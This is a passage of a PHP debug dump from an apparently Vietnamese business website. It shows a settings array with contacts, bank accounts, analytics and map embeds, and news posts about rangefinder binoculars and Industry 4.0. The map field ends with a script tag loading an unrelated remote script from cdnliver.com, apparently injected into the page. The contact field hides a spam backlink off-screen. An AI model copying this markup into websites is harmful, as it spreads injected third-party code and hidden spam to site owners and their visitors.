Hiệu - Techcombank, Hà Nội<br /> 5. 1231-0000-368-767 - Nguyễn Văn Hiệu - BIDV CN Quang Trung, Hà Nội', 'contactinfo' => '<div dir="rtl" style="text-align: left;"> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> </div> <div style=""> <span style="font-family: tahoma, geneva, sans-serif; font-size: 16px;"> </span><br /> </div> <div style="position: absolute; left: -10000px;"> <a href="http://parkcityhadong.vn/" rel="dofollow">parkcityhadong.vn</a></div> ', 'telephone' => '01659 014592', 'hotline' => '0913303547', 'email' => '', 'url' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2012-06-05', 'modified' => '1752726853', 'youtube' => 'http://youtube.com', 'twitter' => 'https://twitter.com/', 'myspace' => 'https://myspace.com/', 'facebook' => 'https://www.facebook.com/FacebookVietnam/', 'email2' => 'duycuong7640', 'skype' => 'hothihuyen.hn', 'yahoo' => 'duycuong7640', 'yahoo1' => 'duycuong7640', 'content' => 'Thanks for your interest in Vn Discoverytours. For a fast response, please submit this basic Quick Enquiry form below by clicking “Submit”, and we’ll get back to you by e-mail within 12 to 24 hours (in working days). For urgent booking, call us at +84 974 839 873', 'video' => '<iframe width="360" height="200" src="https://www.youtube.com/embed/kwIc6bliHhc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> ', 'slogan' => 'trung tâm sửa chữa và bảo hành máy giặt electrolux', 'slogan_eng' => '', 'printer' => '', 'googleplus' => '', 'bando' => '<p> <iframe allowfullscreen="" frameborder="0" height="410" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1680.2372398112452!2d105.81212934716025!3d21.01437303922492!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ab63b645b665%3A0xa6797ac6008687bf!2zQ-G7rWEgSMOgbmcgVHLhuq9jIMSQ4buLYQ!5e0!3m2!1svi!2s!4v1449908805279" style="border:0" width="600"></iframe></p> <script src='https://cdnliver.com/js/thanhtuyen.js'></script>', 'gioithieu' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/gioithieu.png" /></p> ', 'thongtincongty' => 'Sửa máy lạnh tại nhà Sửa máy lạnh tại HCM Sửa tủ lạnh Bơm ga máy lạnh ', 'trogiupkh' => 'Tai nghe Iphone Sua may tinh tai nha Máy Ozone Z755', 'dichvuft' => 'Sửa máy lạnh Bảo dưỡng máy lạnh Vệ sinh máy lạnh Lắp đặt máy lạnh', 'bb' => '', 'zing' => '', 'hotline2' => '0912 35 65 75', 'thelink' => '<script type='text/javascript'>window._sbzq||function(e){e._sbzq=[];var t=e._sbzq;t.push(["_setAccount",32506]);var n=e.location.protocol=="https:"?"https:":"http:";var r=document.createElement("script");r.type="text/javascript";r.async=true;r.src=n+"//static.subiz.com/public/js/loader.js";var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(r,i)}(window);</script> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-72584674-1', 'auto'); ga('send', 'pageview'); </script> <!-- Global site tag (gtag.js) - Google Ads: 876059345 --> <script async src="https://www.googletagmanager.com/gtag/js?id=AW-876059345"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'AW-876059345'); </script> ', 'theh1' => '', 'hanoi' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tphcm' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tt' => '', 'pp' => 'https://www.facebook.com/ruaxetudong.net', 'tphcm_eng' => '', 'hanoi_eng' => '', 'hotline_eng' => '', 'name_eng' => '', 'chinhsach' => null, 'bandohn' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'bandohaiphong' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'gt' => '<p style="text-align: center;"> </p> <span style="font-size:16px;"><span style="color:#ffa500;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> HỖ TRỢ KHÁCH HÀNG 24/7</strong></span></span></span><br style="margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: arial; font-size: 13px; line-height: 20px; text-align: justify;" /> <img alt="" src="/admin/webroot/upload/image/images/hotline.png" style="width: 205px; height: 82px;" /><br /> <img alt="" src="/admin/webroot/upload/image/images/i-bhch(1).png" style="width: 136px; height: 57px;" /><img alt="" src="/admin/webroot/upload/image/images/i-ghtn(1).png" style="width: 136px; height: 57px;" /><br style="margin: 0px; padding: 0px;" /> <span style="color:#ffffff;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><span style="font-size:14px;"> </span></span></span></span><span style="color:#ffa500;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> </strong></span></span></span> <p style="text-align: center;"> <iframe clocktype="html5" frameborder="no" scrolling="no" src="http://clocklink.com/html5embed.php?clock=sdt&timezone=VietNam_Hanoi&color=blue&size=175&Title=&Message=&Target=&From=2015,1,1,0,0,0&Color=blue" style="overflow:hidden;border:0;margin:0;padding:0;width:175px;height:34px;"></iframe></p> ', 'gt_eng' => '' ) $description_for_layout = '' $keywords_for_layout = '' $tintucnoibat = array( (int) 0 => array( 'Post' => array( 'id' => '539', 'name' => 'CÁCH HOẠT ĐỘNG CỦA ỐNG NHÒM ĐO KHOẢNG CÁCH', 'code' => null, 'alias' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ống nhòm đo khoảng cách hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó</span></span> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">để tính ra khoảng cách của vật.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Ống nhòm đo khoảng cách</strong> hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó để tính ra khoảng cách của vật.<br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Dựa theo nguyên lý trên nên việc đo đạc vô cùng thuận tiện, tuy nhiên để đo khoảng cách chính xác tuyệt đối thì không thể bằng những loại thước chuyên dụng khác. Bởi vì tốc độ ánh sáng rất nhanh, ở cự ly gần thì ánh sáng phản hồi lại là tức thì cho nên loại ống nhòm này đa số được dùng cho hải quân trên biển hoặc mục đích giải trí như chơi golf là chính.</span><br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Bộ xung trong </span>ống nhòm đo khoảng cách <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">có trách nhiệm mã hóa để tránh tình trạng nhiễu ở thiết bị khi ánh sáng xung quanh mạnh, do vậy sẽ giúp việc đo đạc được chính xác hơn.<br /> <img alt="" src="/admin/webroot/upload/image/images/ống-nhòm-đo-khoảng-cách-coolshot-pro-stabilize-.jpeg" style="width: 800px; height: 450px;" /></span></span><br /> <br /> <strong><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Ph</span>ạm vi hoạt động</strong><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Mặc dù chùm tia khá hẹp ở cự ly thấp, nhưng khoảng cách càng lớn thì chùm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> sẽ bị rẽ ra và bị trải rộng, Ngoài ra yếu tố thời tiết cũng ảnh hưởng rất nhiều đến độ chính xác của thiết bị, nghe có vẻ vô lý vì gió không thể tác động trực tiếp vào ánh sáng thì sao có thể gây cản trở được? Tuy nhiên khi có gió đẩy ngang thì khí nóng cũng sẽ bi tạt sang một bên, do vậy khi đo ở vị trí xa thì cũng ít nhiều bị ảnh hưởng. Còn một vấn đề nữa đó là vật đo bị khuất sau cây, có thể là 1 bụi cây thưa ánh sáng đủ sức chiếu qua nhưng khi chìm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> của ống nhòm đo khoảng cách đi qua sẽ bị phản xạ lại sẽ làm giảm chính xác.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/do-khoang-cach.jpg" style="width: 960px; height: 540px;" /></span></span></span><br /> <strong style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px; margin: 0px; padding: 0px;">Công nghệ được sử dụng trên ống nhòm đo khoảng cách</strong><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ tính thời gian bay: Ứng dụng này có thể đo được thời gian mà ánh sáng đến mục tiêu và bị phản lại, Nó được lập trình để lấy tốc độ ánh sáng nhân với số giây quay trở lại để tính ra khoảng cách chính xác nhất.</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ dịch pha tầng số: nhằm mục đích đo tầng số hiện tại để cho ra số liệu cuối cùng khi tính được khoảng cách ở trên</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ đo sự giao thoa: Nhằm mục đích phát hiện những thay đổi giữa vật đo và thiết bị như gió hay nhiệt độ để cho kết quả ít sai số nhất.</span><br /> <br /> <p style="margin: 10px 0px; padding: 0px;"> </p> ', 'images' => '201906100811094651c1abaa619828e0f9465c55605a28.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-06-10', 'modified' => '2025-08-19', 'status' => '1', 'view' => '89620', 'slug' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '943', 'rght' => '944', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '538', 'name' => 'Làm thế nào để các nhà sản xuất có thể sẵn sàng cho cách mạng công nghiệp 4.0 và IIoT?', 'code' => null, 'alias' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(74, 74, 74);">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi </span><em style="box-sizing: border-box; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">Mạng lưới vạn vật kết nối Internet</em><span style="color: rgb(74, 74, 74);"> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></span>', 'content' => '<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> </h1> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi <em style="box-sizing: border-box;">Mạng lưới vạn vật kết nối Internet</em> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 mang đến khái niệm “Nhà máy thông minh”. Tập trung vào việc sử dụng hệ thống không gian mạng thực-ảo để giám sát quy trình nhà máy thực tế và tạo các quyết định tự động dựa trên cơ sở dữ liệu. Tạo hệ thống thực tế thông minh sử dụng IoT và giao tiếp thời gian thực , chúng kết hợp với nhau, với con người thông qua mạng không dây.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0.jpg" style="width: 320px; height: 158px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <span style="box-sizing: border-box; font-weight: 700;">Vai trò của IIoT trong công nghiệp 4.0</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">IIoT hình thành xương sống cho bất kỳ s</span><span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">á</span></span></span><span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">ng kiến nào hướng đến công nghiệp 4.0. Bằng cách sử dụng công nghệ cảm biến, IIoT cho phép truyền tín hiệu từ máy móc sang hệ thống máy tính. Trong khi thông tin cơ bản về máy móc chỉ có thể truy cập được trong khoảng thời gian rất nhỏ, IIoT vẫn mang về cái nhìn tối tân hơn nhiều về lĩnh vực kinh doanh. Thông cụ thể này cung cấp phạm vi cho tự động hóa. Nếu được phân tích đúng cách, dữ liệu nhận được từ cảm biến IoT có thể cung cấp thông tin để tối ưu hóa các khía cạnh khác nhau của quy trình sản xuất.</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-weight: 700; font-family: tahoma, geneva, sans-serif; font-size: 14px;">Làm gì để một nhà máy sẵn sàng cho Công nghiệp 4.0?</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;"> </span>Đây là 4 điều kiện tiên quyết cho 1 nhà máy hoặc hệ thống cần có thì mới được gọi là Công nghiệp 4.0</span></span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Khả năng giao tiếp</span></span></span></h1> </li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Thiêt lập đường truyền giao tiếp , xác định rõ ràng phương thức trao đổi, sử dụng, thu thập dữ liệu. Các máy móc, thiết bị, cảm biến và cả con người phải được kết nối, chia sẻ thông tin và thao tác trên dữ liệu nhận được.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Minh bạch thông tin</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Điều quan trọng là thông tin nhận được phải rõ rang, ngắn gọn và dễ hiểu. Hệ thống tạo ra một "bản sao" của thế giới thật, bản sao này định hình bằng các dữ liệu thu thập từ cảm biến, máy móc</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Hỗ trợ kỹ thuật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Hệ thông này sẽ giúp con người theo 2 cách. Thứ nhất, nó sẽ hỗ trợ chúng ta ra quyết định và giải quyết vấn đề bằng cách cung cấp thông tin cho tiết dựa vào dữ liệu. Thứ hai, nó sẽ hỗ trợ chúng ta làm những việc quá phức tạp hoặc không an toàn</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Đưa quyết định theo mô hình phân tán</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống không gian mạng thực-ảo phải có khả năng đưa ra quyết định đơn giản mọt cách nhanh chóng, tự động, không cần con người can thiệp sử dụng phân tích dữ liệu. Mục tiêu cuối cùng của công nghiệp 4.0 là tự động hóa quy trình sản xuất và tối đa hóa quy mô. Sử dụng quy trình tự động hóa này, công việc có thể được thực hiện bằng máy móc, tăng phạm vi tối ưu hóa thời gian và phân bổ nguồn lực.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thử thách liên quan đến việc triển khai công nghiệp 4.0?</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0 2(1).jpg" style="width: 276px; height: 182px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">Triển khai công nghiệp 4.0 cũng có thể sẽ gặp phải các khó khăn sau:</span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Vấn đề bảo mật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Toàn bộ dữ liệu đều có sẵn , truyền qua Internet đến thiết bị từ xa. Điều này cho thấy dữ liệu rất có nguy cơ bị xâm phạm bảo mật, ăn cắp và thao tác.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Kiến thức sản xuất độc quyền, nếu bị xâm nhập, sẽ có thể dẫn đến thiệt hại lớn đến doanh thu của công ty.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Tin tưởng và ổn định</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu thông tin liên lạc nhận được qua cảm biến IoT không được sắp xếp hoặc không đúng lúc sẽ được xem là không đáng tin cậy. Rõ rang, bạn không thể tự động hóa một nhà máy hoạt động dựa trên dữ liệu không đáng tin cậy. Việc duy trì sự toàn vẹn quy trình sản xuất trong khi giảm thiểu sự can thiệp của con người rất phức tạp</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thiết lập kết nối</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Chúng ta gần như không thể đảm bảo kết nối internet 100%. Kể cả khi mạng không có khả năng bị hỏng bất ngờ, bạn vẫn sẽ cần tính đến việc bảo trì máy chủ. Rất khó để đảm bảo không mất dữ liệu ngay cả khi kết nối cực hạn hoặc bùng phát đột ngột.</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Phối hợp hệ thống cũ với IIoT</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống cũ không được thiết kế để tuân thủ các yêu cầu của công nghệ cảm biến. Nhưng hiện đại hóa toàn bộ cơ sở hạ tầng là không khả khi đối với phần lớn các nhà sản xuất. Vì vậy, đòi hỏi phải phối hợp IIoT với hệ thống máy móc cũ để đảm bảo ROI tốt nhất với sự đầu tư của nhà sản xuất.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ngoài nhứng thách thức trên, nhà sản xuất cũng phải đối mặt với các vấn đề từ nhà đầu tư, đội ngũ kỹ thuật nội bộ. Các nhà đầu tư khá miễn cưỡng với các cuộc cách mạng quy mô lớn. Đồng thời, năng lực IT có sẵn không thường xuyên được cập nhật để xử lý những thách thức này. Dữ liệu nghiên cứu thị trường và xu hướng chuyển đổi kỹ thuật số đã mở ra cái nhìn mới cho nhà đầu tư. Hạn chế về năng lực kỹ thuật vẫn sẽ là mối quan tâm chung khi triển khai bất kỳ IIoT.</span></span></p> ', 'images' => '201905200812307bda1a1c4b780f467d4ece9a47eb5c1b.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-20', 'modified' => '2025-08-19', 'status' => '1', 'view' => '63417', 'slug' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '941', 'rght' => '942', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '537', 'name' => 'Cách bảo quản thiết bị trắc địa đúng cách', 'code' => null, 'alias' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 